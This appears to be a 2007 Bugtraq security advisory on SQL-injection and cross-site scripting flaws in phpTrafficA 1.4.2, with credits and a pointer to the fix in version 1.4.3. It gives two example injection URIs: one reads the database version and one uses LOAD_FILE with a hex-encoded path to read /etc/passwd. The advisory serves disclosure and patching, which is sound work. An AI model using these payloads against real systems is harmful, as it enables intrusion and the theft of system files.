phpTrafficA Multiple Input Validation Vulnerabilities

Bugtraq ID:	24615
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 25 2007 12:00AM
Updated:	Jun 28 2007 03:18AM
Credit:	Laurent Gaffie is credited with the discovery of these vulnerabilities.
Vulnerable:	phpTrafficA phpTrafficA 1.4.2
Not Vulnerable:	phpTrafficA phpTrafficA 1.4.3

phpTrafficA Multiple Input Validation Vulnerabilities

phpTrafficA is prone to input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because the application fails to sanitize user-supplied input.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpTrafficA 1.4.2 is affected; prior versions may also be vulnerable.

phpTrafficA Multiple Input Validation Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/index.php?mode=stats&sid=THE_WEB_SITE_SID_HERE&show=page&pageid=-32+union+select+1,@@version/*
http://www.example.com/index.php?mode=stats&sid=THE_WEB_SITE_SID_HERE&show=page&pageid=-32+union+select+1,LOAD_FILE(0x2F657463
2F706173737764)/*

phpTrafficA Multiple Input Validation Vulnerabilities

Solution:
The vendor has released version 1.4.3 to address these issues; please see the reference section for details.


phpTrafficA phpTrafficA 1.4.2

• phpTrafficA phpTrafficA-1.4.3.tgz
  http://soft.zoneo.net/phpTrafficA/Files/get.php?phpTrafficA-1.4.3.tgz

phpTrafficA Multiple Input Validation Vulnerabilities

References:

• phpTrafficA < 1.4.2 ([email protected])
  
• phpTrafficA Home Page (phpTrafficA)
  
• phpTrafficA News (phpTrafficA)